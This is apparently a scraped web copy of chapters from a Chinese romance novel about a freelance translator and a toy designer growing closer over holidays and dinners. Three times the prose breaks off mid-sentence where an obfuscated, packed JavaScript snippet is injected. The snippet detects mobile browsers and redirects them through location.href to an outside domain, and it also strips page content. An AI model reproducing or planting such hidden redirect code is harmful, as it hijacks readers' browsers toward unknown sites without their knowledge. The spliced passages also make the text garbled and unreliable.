一旁认真看演出的俊俊见他们自顾自地说悄悄话,就凑上来问:“叔叔,你和姐姐两个人在说什么呐?” 程烨然轻轻推了推他的脑袋,顺便把这小孩跷起的二郎腿揪了下来,规规矩矩放好,“我们在聊人生哲理。” “什么人生哲理?生老病死,还是宇宙飞船?” “都不是,是你现在还不明白的东西。” 俊俊撇撇嘴:“那我长大了就能懂了吗?” 许知蕴坏心肠地说:“长大了也不一定能弄明白哦。” 俊俊只好沮丧地转过身去了。小朋友还是很懂事的,自觉与他们间隔开一点点距离,不去偷听大人说话。 程烨然看了一会夜空,才很缓慢地说:“或许对我而言,‘爱情’是一扇门。” “一扇门?” “嗯。我倒觉得,这是一扇双选的门。我想打开别人的,但别人未必想打开我的。我即使强行破开,门对面也不会有对方的身影。反过来也一样。或者我们都想打开彼此的门,时间上却错开了,也不行。天底下就要有这样正好的事情,我和那个人,在同一时间、同一地点,打开了彼此的那扇门——或许这就是爱情吧。” 许知蕴认真倾听着。“那么,就算打开了门,会有反悔的时候吗?” 程烨然笑笑:“这有可能发生。就算是只持续了一秒钟的爱情,那也是真正的爱情。要达到终生的挚爱,不是那么容易和幸运的。” “是啊……”许知蕴喃喃道,“我知道,要找到终生的挚爱,并不是那么容易的……” 她的眼睛里透露出一丝不易被察觉的落寞。 电光火石间,她其实想了很多。自懂事起,她常常会想,人的命运究竟是由自己掌控,还是被“命运”所左右呢?如果人的命运是由自己掌控,世间的那么多人,为什么偏偏无法找到属于自己的东西? 她想了很多问题,但发现自己思绪上的锚点,最后却停留在今早的那束栀子花身上。 花束洁白,香气袭人,给人带来一天的好心情。兜兜转转,探讨完貌似深奥的哲学与情感问题过后,许知蕴脑海中的最后一个问题,竟然只是: 你为什么要送我花呢? 我要回一个怎样的礼给你呢? 可就像之前的那声“晚安”一样,许知蕴最终什么也没有说。 * 五一假期一晃而过。 许知蕴和程烨然他们的车次并不是同一趟,而是中间相差了差不多一个小时。 许知蕴是早出发的那一个,此刻正手握身份证,拖着行李,准备排队检票。 俊俊啪嗒啪嗒地跑过来同她道别,看这小脸皱巴的,许知蕴差点以为他们不生活在同一个城市。 她蹲下来,抓住俊俊肉乎乎的脸好一顿揉搓:“皱眉什么呀,我看你之前蛮机灵的,怎么现在傻了?我们不还是住同一个城市吗?我和你叔叔还同一个小区呢,以后来找我玩的话,那不是轻而易举的事情。” 被许知蕴这么一说,本来还有些小伤感的俊俊忽然回过味来:“对哦……差点忘了。嘿嘿,我爸妈他们就是,老出差,就只能周末和我玩。不过姐姐你不一样……我以后是不是有空了,就能随时找你玩呀?” 自由职业者的好处估计就是时间安排上的松弛了。“对啊。不过你也可以找叔叔啊。”她瞥了一眼程烨然,“我们三个正好斗地主。前两天我们不是玩得很欢乐嘛。” 三个人打不成麻将,当然只能斗地主了。扑克牌还是程烨然去民宿旁边的小卖部买的,顺带帮他们把饮料提了上来。俊俊说自己不要当地主,两个成年人斗一个小朋友,不公平。许知蕴忍笑说,那我当地主吧。 俊俊小声冲许知蕴说:“姐姐,你要当心了,我叔叔打扑克很厉害的。” 一番酣畅淋漓的争斗过后,农民方赢了。 程烨然提议地主换着当,这样比较新鲜,所以下一轮他便成为了地主。 第二轮争斗,是地主方赢了。 许知蕴拍着程烨然的肩膀:“俊俊说你打牌很厉害,我之前还不太信呢,觉得我的牌技也挺好的。现在看来,名不虚传啊。” 俊俊在一旁煽风点火:“叔叔打牌都是跟我爸学的,我爸当年,加入了学校的扑克牌协会,打遍天下无敌手,家里还挂着好多奖状……” 许知蕴听出来了,俊俊的重点其实是在夸他爸呢。小孩子的心思呀,就是好猜。 那天他们打了好几场扑克,直到俊俊的“晚间作业”时间到,才把牌收起来。俊俊依依不舍,问什么时候还能再打。 俊俊看了一眼身旁高高大大的叔叔:“姐姐,我叔叔平常找我,都是来给我辅导作业,不找我玩的……” 程烨然忍不住道:“我之前还不是老给你带玩具?这么快就忘了,看来下次还是不给你带咯。” 他一边说,一边演出伤心的神情。俊俊立马狗腿地抱住他:“别啊叔叔,玩具我都记得,你给我拿了好多小汽车!” 许知蕴在一旁捂嘴笑。她大概知道陈美芝之前说的“想生个小孩来玩”是什么意思了。 他们闲聊了一堆,终于到点了。闸机开放,响亮的广播响起,许知蕴拿着身份证,随着队伍向前挪动。她笑着回头望了一眼,然后朝俊俊和程烨然摆摆手,就逐渐消失在了通道里。 俊俊望着许知蕴的背影,忽然凭着一点直觉,对他叔叔说:“叔叔,你之前说的那个,带你去吃海鲜的朋友,不会就是姐姐吧?” 程烨然愣了愣,心想,俊俊这小家伙,学习成绩不咋地,这方面倒是挺聪明的。 “……嗯。” 俊俊听他承认,脸上闪出几分小小的促狭:“叔叔,你喜欢姐姐吗?” 程烨然皮笑肉不笑:“敢管大人的事,我看你是皮痒了。作业写完了?” “……没有。” 俊俊浑身抖了抖,接着听见程烨然用世上最凉薄的语气把他欠的作业一项项说出来,只觉得人生一点点变得灰暗,简直是归家无望。 “我不听啦!” 俊俊捂着耳朵:“我待会上火车就补。” 程烨然双手抱胸,优哉游哉:“这才对嘛。虽然你的作业写不完,我也会被你爸嘟囔几句,但最终被老师批评的又不是我。我看你还是抓紧吧。” * 最终的结果可喜可贺,俊俊的作业堪堪在收假前补完,他和程烨然都没有挨程烨熙的批评。 许知蕴忙着继续她的工作。假期里她虽然也随身带着电脑,但玩了一天之后,哪里有打开电脑一点点校对文稿的耐心,索性都堆在了假期后的这几天,一鼓作气把它们全翻完了,咖啡馆连跑了四天,每天都雷打不动喝两杯美式。做美式的店员是周颂,他对许知蕴提出的要求瞠目结舌:“你是要特别浓的那种……” “对。”许知蕴坚定点头,“最好咖啡因多到我喝一杯就能一个晚上不睡觉。” 周颂只好按照她的要求,把兑水的比例减少。“你忙,烨然也忙,你们难道假期都去玩了?最近五一假期,我这咖啡馆的生意似乎也稍稍滑落……” 许知蕴从他口中捕捉到“程烨然也忙”这个关键词。她忽然想起,之前程烨然似乎一直在忙工作考核方面的事情。也不知道考核得怎么样了? 她带着这个问题问周颂,得到的回答是:“我也不知道。” 周颂把咖啡杯推过去,顺便给她一包鱼豆腐小零食,“我只知道他在忙考核,好像如果结果达标,就可以升职?反正不达标也降职啦,现在这世道,还管什么升职呢,只要不掉下去就行。” 许知蕴点点头,抱着咖啡和字典,就在电脑面前奋斗,屏幕上的字看得简直让人老眼昏花,还要自我催眠:我不困,我还能写,我还能再翻一百页! 好不容易,写了四天,总算是交稿了。虽然之后编辑还可能会提出种种问题需要修改,但——管他呢,在结果没出来之前,总算可以好好休息了! 为了犒劳自己,许知蕴又点了一份外卖。 本来想吃烧烤,可之前老点的那家烧烤店涨价了,每样都涨了一块五,许知蕴决定还是换一家。大晚上,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042596|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经吃夜宵了,还是少油腻的好。她在某橙色外卖平台上逡巡很久,还是点了楼下一个连锁便利店的关东煮。 因为是楼下的,所以配送很快,几乎是在她下单后的十分钟内,电话就打过来了。她伸了个懒腰,换了鞋,到楼下去拿外卖。 虽然是五月份,但或许是因为傍晚时分下了一场雨,现在的空气里透着一丝丝的凉意。许知蕴只穿了件薄衬衫,被风一吹,手臂上还是起了些鸡皮疙瘩。她熟练地在外卖柜里取走自己热腾腾的关东煮,然后抬腿往电梯方向走。 欸。她揉揉眼睛细看。前面那个也要往电梯走的,穿一身西装的—— 她一边小心翼翼护着自己的关东煮不要洒出来,一边三步并两步窜到程烨然身后,假装不熟地碰了碰程烨然:“咳咳,这位先生晚上好。” 就算看不见人,但声音还是伪装不了的。虽然许知蕴已经尽量压低声音了,但程烨然还是能轻而易举认出来。 “这位小姐晚上好。”他笑盈盈地转过头来,“这么晚了,有何贵干?” 哇哦,真配合。许知蕴也装模作样:“没什么,就是下来拿外卖。” 她看了一眼自己的外卖,终究是没忍住地叹了口气:“早知道我点烧烤了,还能分你几串。这个关东煮好像不太容易分……” 程烨然笑出了声:“下次我来点好了,许小姐想吃什么,尽管说。” 电梯发出声响,他们一起进去,程烨然帮她按了楼层。一个数字“7”,一个数字“8”,莹莹地亮着一圈柔光。 许知蕴注视着不断跳动的数字以及进进出出的人,忽然想到了之前同周颂讨论过的那个问题。 “对了。”她问,“你之前不是忙那个考核么……怎么样了?” 程烨然摇摇头:“结果倒是满足标准,但后来也没能晋升。” “为什么?” “我也不知道。”他似乎很轻松,一点也没有为这事难过的样子,“或许是上头觉得我太年轻,还想让我再磨炼会?” 他不难过,但许知蕴的内心还是有点闷闷不乐的。程烨然的作品很优秀——她虽然不太懂设计,但她觉得他设计的每一样东西都精准地击中了她的好球带。她也知道程烨然那些日子很忙,可惜忙来忙去,却得到的是这样的结果。 程烨然看见许知蕴垂着头,忍不住逗逗她:“不会在为我难过吧?” 这话多少带点暧昧语气,但被程烨然说出来,似乎就变得坦坦荡荡了。 “当然啊。你又不是没有升职的能力,升不上去,我当然难过了。”许知蕴说,“我可是十分欣赏你的作品的。” 说话间,电梯已经到了七层。许知蕴该走出去了——但程烨然也跟着她迈出了电梯门。 “其实我早就知道,我这次考核就算再怎么优秀,也无法升职的。” 程烨然的语气很平静,没什么无奈,也没什么故作的洒脱,“这叫什么?前辈文化,还是公司隐形的各种约定俗成的条款?能力也不是一切的敲门砖啊。” 许知蕴刚想说,你不是程家的二公子吗?有你这层身份,晋升也那么困难吗?但很快她就把这些话咽了回去。她在心里默默地检讨了一番自己的狭隘,随后又有点悲哀地想,像程烨然这种人在晋升之路上尚且艰难,那那些家庭平凡的普通人呢?他们应该还要比程烨然更加艰难吧。 “……好吧。”她叹了口气,开了个小玩笑,“原来是未卜先知啊。什么时候未卜先知到自己赚了大钱,记得知会我一声哦。” “当然。”程烨然说,“到时候还要麻烦许小姐赏脸陪我吃顿饭呢。” 他们互道了晚安,然后程烨然又走进了电梯里。 许知蕴回到家中,把手机打开,然后拆开关东煮的袋子,叉起一块香辣鱼丸,边吃边看最新的电视剧吐槽。 茶几上放着一串茉莉花手串,由于时间的流逝,花瓣的边缘已经有些泛黄了。许知蕴的目光不经意间撇过手串,定格了几秒,随后想: 一串承载了记忆的旅游纪念品——还是能多放几天就多放几天吧。 她还不舍得那么快丢掉呢。 16. 第十六章 许知蕴在和妈妈打电话的时候,悲伤地发现了一个事实:她妈妈寄给她的那条充满异国风情的白裙子,假期里她一次也没有穿。 每天不是钓鱼就是爬山,许知蕴早就把自己行李箱里还有条新裙子的事实抛之脑后。 思来想去,决定还是找个和小姐妹聚会的时候再穿,反正夏天还长着呢,不着急。 她很快就同朋友约定了时间,找了个周末一起去市中心的步行街。 两个人,能在市中心里干什么?把从小到大的流程再过一遍——逛各大商场然后挑选衣服——但却依然乐此不疲。正好碰上冬装换季打折,许知蕴很豪气地拿下了一件风衣一件大衣和一件皮衣外套,而朋友则买了两件厚实的羽绒服。她们拎着袋子从商场的大门里走出来,心里油然而生一种奇妙的满足感。 “以前读书的时候,总是只敢逛不敢买。”朋友感叹,“嘿嘿,转眼间早就已经成为大人了。” 许知蕴赞同地点点头,然后两人到主街道上晃了一圈。周末的人流量挺大,感觉连手机信号都被削弱。她们边聊边走,许知蕴突然看到了一家正在装修的商铺。 她以前其实是不太会注意这些正在装修的商铺的,总是想着,反正是在装修中,等装修完毕就能看到全貌了。 但她这次的脚步却放慢了。 朋友问她:“怎么了,这家店有什么好看的?” 她和许知蕴一起停下脚步,看见了这家店的英文名。有点拗口,朋友花了几秒钟才拼读正确,“奇怪,这是卖什么的?不过商标还蛮可爱的。” 但许知蕴对这家店的英文名再熟悉不过了——包括那个可爱与搞怪并存的商标。“这是……这是卖儿童益智玩具的,是个外国的牌子。” “哦!玩具啊。”朋友说,“我还以为是什么呢。他们家的玩具设计得很好吗?等建好了进去逛不会显得我们很幼稚吧?” 许知蕴笑着戳了戳她的胳膊:“你还好意思说幼稚,是谁每年都要去买一大堆毛绒玩具?我记得光是那只棕色的熊,你就收集了所有的型号,还给它们穿不同的衣服呢。” “那不一样啦!”朋友辩解道,“那个熊简直太可爱了,抱着睡觉根本撒不了手啊!” “这家的玩具也挺可爱的。” 许知蕴给她找来了官网小程序,上边一大堆稀奇古怪又分外可爱的小玩意一下俘获了朋友的心:“你从哪知道这个牌子的?你还有购买记录?怎么不早点分享给我……” 许知蕴摸了摸鼻子:“我朋友有个朋友……嗯,她认识这里边的一位玩具设计师,所以我就……知道这个牌子了。” “那位设计师的作品是哪个?” 许知蕴立马就将那只可爱的小恐龙展现在朋友眼前:“这个是他的作品之一,还有……” 一口气指了好几个,许知蕴这才清晰地意识到:自己对于程烨然的设计作品竟然那么熟悉。 然而朋友已经没有心思去听她介绍剩下的了,因为她已经被小恐龙完完全全可爱到了:“简直太Q了吧!” 她打开自己的手机,同样打开小程序,豪气地下单了大中小三只。“太可爱了……和我的小熊作伴刚刚好。” 安利成功,许知蕴莫名有种自豪感。谁让程烨然设计的东西确实足够优秀呢?那可得给他贡献点微薄的销量了。 * 程烨然最近貌似不加班了。 这是许知蕴通过自己的观察得出来的结论。先前他加班时,许知蕴常常能在拿夜宵的当口碰见他。现在他倒是准点下班了,周末的早晨,偶尔还能在周颂的咖啡馆里,瞥见这人正对着电脑敲敲打打,桌上还散着几张稿纸。 目光相遇,微微点头,这就算打过招呼了。许知蕴不打扰他做事,自己找了另一个位置坐下,继续她的工作。 她接了一本书的翻译,编辑对这本书很是看重,因为是反反复复毙了好几次选题才得到的最终结果,并且让许知蕴做好翻译稿改十几轮甚至更多的可能性。 “还有就是……”编辑犹豫了一下,“报酬的话……可能会比较低……社里压翻译压得太狠了……” 许知蕴说:“没事。我看这本书挺好的,出版后应该会有个不错的销量。” 作者是英国的一名小众作家,许知蕴在研究生时读过他的原版书。掩卷之后,只觉得眼前早已铺陈了一个潮湿多雨、色彩奇幻的世界。没想到工作之后,竟然能够参与到这本书的翻译上来。报酬是其次,但翻译喜欢的书本身,就足以让人乐在其中。 许知蕴有超绝的定力,自打上大学开始,她就练就了一坐坐一天的本事,在图书馆或者咖啡厅,除了上卫生间和接水,她可以像一尊大佛般固定在自己的椅子上。 她很是专一,仍然给自己点了玛琪雅朵,然后开始抱着书啃,一边啃,一边做笔记。 看了许久,咖啡已经喝完。许知蕴打开手机,看看有没有微信消息,果不其然看到了一堆红点。她点进去,发现消息全部来自她的朋友。 朋友买下的大中小三只恐龙已经到货了,把它们洗了晒干,就变成了香喷喷的玩偶。朋友对最大号的恐龙简直爱不释手,一连给这只恐龙拍了好几张特写:“真是宝藏店铺!摸起来特别软,快递箱里还有赠送的明信片……” 明信片上印的是手绘的图画,和玩偶的童真气质很是相配。 看着那张明信片,许知蕴却想起当时程烨然寄给她的那个箱子,以及那张认认真真写着“望您喜欢”的卡片。 她只收到一张,因此不知道那些不同的颜色代表什么,但她仍然能够感受到卡片上承载着的满满心意。 许知蕴回复:“对吧!我就说这家玩具店的东西都很棒。” 收效很好,她已经打定主意要给身旁所有的朋友安利了。才不管他们究竟买不买呢,先把广告打出去再说。 一天的工作结束了。 许知蕴到前台结账时,顺便在想今晚的晚饭吃什么。她还在想着呢,旁边同样起身结账的程烨然就问她:“要不要一起去吃个饭?” 真是瞌睡来了送枕头啊。许知蕴立马开开心心地答应了:“好啊!我们去吃什么?” 一番商讨,两人拍板去吃日料。 程烨然带着许知蕴,轻车熟路地走进一家日料店。日料店不大,但内部装潢很有东洋的风情。 服务员笑着说:“欢迎程先生的光临!” 等落座后,服务员给他们端来擦手的毛巾时,许知蕴偷偷问:“你常来这里?我看他们都知道你姓甚名谁了。” 程烨然悄悄拿出自己的会员卡:“我在这里吃过很多回,已经成最资深的VIP食客了,他们当然记得我。” 许知蕴用热毛巾擦着手:“俊俊说得没错,他叔叔果然是个爱吃的人。” 许知蕴扪心自问,自己光顾最多的,其实是楼下不远处的小面馆。面馆虽小,五脏俱全,不仅卖不同口味的面,也卖早餐馄饨饺子疙瘩汤饮品生煎包。口味是仁者见仁,但许知蕴光顾它这么多次,很大一部分原因是因为这里离家近,走两步路就能到。 曾经有一位外地朋友来拜访,问她城里哪一家茶餐厅最正宗最好吃。许知蕴愣了半天,最后憋出一句:你要不去网上搜搜看? 朋友大为震惊:你是本地人,居然不知道哪里的茶餐厅最好吃? 许知蕴摊手:茶餐厅实在太多了,走两步就是一家,哪里吃得过来。况且我都是去家附近的茶餐厅吃的,又近又便宜,十一点前结账还能打折。 朋友说好不容易来一趟,执意要去吃全城最正宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042597|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好的茶餐厅。他们在网上搜索许久,最终还是去吃了城内名气最大也最贵的一家。两个人点了五样菜品,连服务费价格直奔四位数。吃完后,许知蕴问她,觉得怎么样?朋友摇摇头:吃不出来,不过确实挺好吃。 如果那位朋友当初问的是程烨然……结果会不会不一样? 等餐的间隙,许知蕴决心破解“城内哪家茶餐厅最好吃”的未解之谜。 她清了清嗓子:“程烨然同志,我有一个问题,希望你帮忙解答。” “嗯?” “你觉得……AA大酒店的饭菜怎么样?” AA大酒店就是那家最贵最有名气的茶餐厅。 程烨然微微思索了一会:“如果是招待远道而来的朋友,可以考虑。不过我个人觉得性价比不是特别高,除了他们家的招牌,其他的都没必要尝。” “他们家招牌是什么呀?” 程烨然非常顺溜地报出了三个菜名:“这三道菜我觉得很不错。AA大酒店掌勺的厨师我也认识,可惜他马上要退休了。” “这样……那你觉得哪家茶餐厅最好吃啊?”许知蕴快速将程烨然报出的三个菜名记在手机备忘录里,然后悲哀地发现,这三道“据说很招牌”的菜,她和朋友当年一道也没点。 程烨然听她问,就细细给她分析——他可是拿出了做数学题的十分认真来分析的。A家太贵性价比一般,B家虽然出品稳定但是预制菜,C家是手工制作但口味略古早,D家综合还可以只是菜品有点少…… 许知蕴边记笔记边给他竖大拇指:“太厉害了,程烨然同志!” 决定了,这笔记里的内容以后就是她的茶餐厅攻略!要是再有朋友来问她“哪家茶餐厅最好吃呀”,她就把笔记发给对方看。 “我还可以问其他的吗?” 等程烨然说完他对茶餐厅的见解,许知蕴满怀希冀地看着他。 程烨然失笑:“我的建议也只是参考,毕竟每个人的口味都是不一样的。” 许知蕴摇摇头:“不,我觉得我们的口味非常相似!你就放心大胆地介绍给我吧!” 于是她又记下了很多关于“城内哪家川菜、淮扬菜、东北菜……最正宗”的小笔记。等日料都上齐了,程烨然才停下,而许知蕴的笔记已经记了满满两页。 许知蕴殷勤地给他倒茶水:“说多渴了吧,来喝点茶润润嗓。真是太谢谢你的建议了,以后我要把它们通通都吃一顿。” 程烨然接过茶水,又笑了笑:“这倒也不用——” 许知蕴立马反驳:“问题是我问的,而且你都那么辛苦给我介绍了,怎么不用?” 她可是已经在心里美滋滋地做好计划了。 这家日料店果然很好吃,特别是金枪鱼,许知蕴吃得眼睛都满足地眯了起来。 她忽然想起了什么,问他:“这家日料店是你心目中的NO.1吗?” “不。”程烨然慢条斯理地夹起一块寿司,“其实是NO.3。” “那最好吃的呢?” 听见她的话,程烨然忽然停下了筷子,冲她眨了眨眼睛。“在市中心。如果你想吃,下个周末,我带你去。” 许知蕴这才注意到,程烨然的眼睫毛很长。细细密密的,在眼睛下方映出扇子般的黑色剪影。 ……好像睫毛还比她长呢。许知蕴下意识捋了一把自己的睫毛,感受了一下长度,放弃了比较的想法。 “怎么了?”程烨然关注到了她一瞬即逝的小动作,“眼睛进沙子了吗?” 许知蕴赶紧摆手:“没有没有。” 总不能把“我发现你的眼睫毛好像比我长”的这种心声说出来吧? 她这么想着,又隐蔽地多看了程烨然几眼。 ……嗯。真好看。 17. 第十七章 虽然古语有云,食不言寝不语,但许知蕴是非常喜欢在饭桌上聊天的那类人。 试想想,在一家人上班的上班、上学的上学、跳广场舞的跳广场舞之类的情况下,能聚在一起说会话的时间,也就剩晚饭的时候了。 两个有工作的人一起吃饭聊什么?当然是兜兜转转,聊回工作了。 程烨然自从考核期结束后,就从“加班卷生卷死”的情况中恢复过来,就像日剧《我,到点下班》的主人公一样,从不拖沓。许知蕴说,幸好你这是在外企,加班文化不深厚,不然你这样的工作态度,是要被上司叫到办公室里去的。 她举了自己曾经在公司里工作的例子。尽管只在厂里干了一年半,但她发现自己居然清楚地记得部长和同事们的样子。 “我们那个部长,简直是完美主义。” 许知蕴一想到部长油光水滑的大背头就心烦,“什么事情都要做到十全十美,怎么可能?连文件装订距离页边多少厘米都有规定。只要他生气了,决不能从他办公室门口走过,不然就会被抓过去阴阳怪气……小许呀,工作怎么样了?你觉得自己做得挺好的,是吧……听到这种话,鸡皮疙瘩都要起了!” 许知蕴尽管抱怨这位部长的“perfectionism”,但她不得不承认,这位部长的个人能力很强。 “其实呢,他能坐到这个位置,肯定是有理由的。可能只是我不习惯,或者说不喜欢他的管理方式……离职的时候去办手续,我碰见他,祝他今后一帆风顺——我真这么想,我觉得凭他的能力一定能晋升的。部长那天还挺和善,笑呵呵的,送了我一罐雀巢。后来我就索性干自由翻译了。” 比起条条框框,她更喜欢自由。就算收入并不算多,她也很喜欢。 提到“自由翻译”,程烨然的脑海里浮现出的,是他和许知蕴在咖啡馆里遇见的场景。 那时,他看见一个人,在桌上对着电脑和字典,时而文思泉涌,手指动得飞快,时而又挠挠脑袋,扣扣书沿,拿着笔在稿纸上涂涂写写。 明明是有点烦躁的样子,但程烨然却无端觉得很是可爱。 今天,许知蕴好像又变成了这个状态,只是不敲电脑了,转而抱着的是一本厚实的原文书。 他问:“我可以看看你手上的那本书么?” 许知蕴一愣,随即反应过来:“啊,可以的!” 她从包里拿出那本书,递给程烨然。 想着“虽然知道是原版书但我的英文也不差所以应该也能看懂吧”的程烨然,翻开了书本的第一页。 随后,他就被密密麻麻的英文晃花了眼。 印刷的字体比平常看的小了不少,纸张的触感也不甚平滑,透着一股淡淡的油墨香味,有点像报纸。 程烨然虽然在公司里也少不了回外文邮件,看外文稿件,但书上仿佛要挤到一起的26个字母们,还是让他败下阵来。 他努力把第一页看完,然后在许知蕴半是期待,半是忍笑的神情中,将书推了回去。 “怎么样?”许知蕴问。 “嗯……”程烨然努力寻找着措辞,“我觉得——” 许知蕴眸光闪闪地盯着他。 程烨然犹豫两秒钟,然后非常诚实地交代:“很抱歉,我看得眼花缭乱,只知道前边一大段景物描写,下着大雨,然后主角撑伞走过泥泞的街道。没了。” 许知蕴扬了扬手中的书,给他一个肯定的眼神:“自信点,你说得很对,第一页就只是讲了这点内容。” 程烨然问:“这本书应该还没引进吧?” “对。” “那么,你是第一批译者咯?” 许知蕴笑眯眯:“对呀。我可希望这本书译完出版之后能大卖特卖呢。” 销量如果够好,她的名气也会扩大,就能接更大的单子,赚更多的钱…… 迟早要买一个大平层! 她仿佛看见美好的生活在向她招手。 但理想很丰满,衬得现实就有些枯萎。许知蕴连这本书的内容还没看完呢。再说,她并不是没接过其他短篇小说的翻译,只是那些出版社把千字的价格压得很低,任凭怎么和编辑斤斤计较都没辙,令人抓狂。 许知蕴其实是一个很好懂的人。 当她没有刻意收敛时,她内心的想法,其实在脸上都能显露一二。 程烨然看到她的嘴角上扬又下撇,就大概能猜出来她究竟在想什么了。 他温声道:“别想那么多。我看过你翻译的文章,翻得很好。或许比起纠结,把这件事完成更为重要。” 他虽然不太懂翻译业界的生态究竟如何,但他觉得,以许知蕴的才华,未来一定会在其中牢牢地占据一席之地。 许知蕴一口干完味噌汤,叹了口气:“哎,也只能这样啦。每天给自己打打鸡血,喝喝鸡汤,日子还是很快乐的……” 她说到一半,拿着筷子准备去夹刺身的手忽然在空中顿住了。 “——哎?!” 她后知后觉地反应过来:“你看过我翻译的文章?” 许知蕴对自己的笔名并不会藏着掖着,但当先前程烨然问她时,她只觉得对方是在进行“礼貌性询问”。 得知一个人在向杂志投稿,出于礼貌问问笔名,再正常不过的事。 她没想到程烨然会看。 “是、是哪本杂志上的?”她有些磕巴,“我投过好几家杂志来着……” 程烨然说:“是有专栏的那一家。” 那个专栏的名字叫“悬疑情感”。 许知蕴喜欢看恐怖悬疑片,因此对这类故事非常感兴趣。杂志是月刊,她每月都会供一篇猎奇悬疑类型的翻译稿:月夜追凶啦、暗杀啦、破案啦……翻译自己喜欢的类型的故事,已经不单纯是工作了,而是一种享受。许知蕴最喜欢在晚上,特别是下雨的晚上,做这类故事的翻译——因为很有氛围感嘛! “咳咳。”她装模作样地轻轻嗓子,语气里带了些自己都没发现的期待,“你也喜欢看这类故事吗?嗯……我翻得还不错……吧?” 程烨然单手撑着下巴,望着她,忽然在许知蕴略显惊讶的目光下,伸出手来,轻轻摩挲了一把她的头发。 许知蕴的头发乌黑发亮,很柔软,像一条上好的绸缎。她坐在餐桌的对面,隔着血液和皮肤,感受到他手掌心隐隐约约传来的温热。 仅仅在她头上停留了两三秒,他的手就收回去了。 很绅士很温柔的一次触碰。 但就在那一刹那,许知蕴的心中忽然升起某种她自己都不敢置信的勇气。 她一把伸出了手,捉住了对方白皙修长的手指。 这下换程烨然愣住了。 许知蕴则在心里尖叫。 ……OhmyGod!我本来是想捉他手腕的!一下子距离没掌控好,莫名其妙就变成十指相扣了! 两个人的手都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042598|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很暖,相触的地方,温度蔓延到四肢百骸,就像是有一簇小小的火焰在燃烧。 他们一时都没说话,气氛瞬间变得静谧起来。许知蕴恍惚有种错觉,似乎他们不是坐在小小的日料店,而是身处雷蒙德·卡佛的诗。 “我——” 她深吸一口气,语气十分诚恳,假装自己不是在为这瞬间的尴尬找借口:“我——我太感动了!你知道的,对于一个译者来说,能够遇见喜欢的读者,是一件多么开心的事……” 虽然吧,这算是摆脱尴尬局面的托词,但许知蕴这番话却是真心的。 每一个文字工作者,都会因为有人喜欢自己的文字而开心,哪怕她只有一个读者。 程烨然的面上还是挂着那样的笑容,只是眸色深沉了些许。 “然后呢?”他轻声问道。 “……啊?”许知蕴没想到这一层,卡壳了,“没、没什么然后,我就是……一时激动……” 还能有什么要说,还应该有什么要说的? 她的大脑飞速运转,却猛然感受到手上传来一阵不容忽视的力度。 程烨然用掌心拢住了她的手指。这像是一场再自然不过的握手,又像是在为她取暖。 “手太冰啦。”他扬眉道,“大夏天的。” 这场短暂的,如梦幻般的触碰就此结束。他们又退到了“正常”的社交线以外,似乎刚刚的举措只不过是朋友之间的相互关心。 许知蕴这才感受到,刚才由于紧张,自己的指尖由于出了汗,被店里的空调一激,反而变得冰凉。她低头揉了揉自己的手指,有些不好意思。 “你会有很多读者的,相信我。”程烨然说,“到时候你要是出名了,记得给我写签名哦。” 他的语气很笃定,就像是在阐述一个既定的事实。 许知蕴看着他,目光隐晦地从他的睫毛流连到他的眼睛。 很深邃的墨色,就像是万丈高楼还未平地起时,周末的夜晚,抬头仰望所看到的星空。 都说眼睛是心灵的窗户,那这样一双眼睛的主人,在刚刚那场电光火石之中,又究竟在想什么呢? * 那天晚上,许知蕴又失眠了。 没有熬夜,没有晚上喝咖啡,也没有因为肚子饿从梦中惊醒,而是躺在床上,翻来覆去像个煎蛋,白噪音也听了、睡前也不玩手机了、不做运动了……可是就是睡不着。 许知蕴无奈地翻身坐起,打开了房间的灯。 反正明天也不用上班。不是睡不着吗,那就熬夜好了。正好加班加点把要翻译的书多看几页。 我要让这个身体知道谁才是真正的主人! 她面无表情地想着,挪动到书桌前,把书打开。 但过了半小时,她发现自己完全读不进去。那些英文字母们就像小蝌蚪,在空气中游来游去,就是不进脑子。她读完一页,差点要翻过去,才惊诧地发现自己虽然看懂了每个单词,但却完全没有去理解文本的意思。 ……就这个状态,还怎么工作啊。 许知蕴叹了口气。 桌上绿色的小恐龙们一字排开,从矮到高,像忠诚守护这张书桌的小卫兵。许知蕴把三只都抱起来,揉搓着它们毛茸茸、软乎乎的脸蛋,闷声道: “小朋友们,你们都很聪明……那么来告诉我,你们的设计师,到底在想什么呀?” 小恐龙的豆豆眼静静地看着许知蕴,不作回答。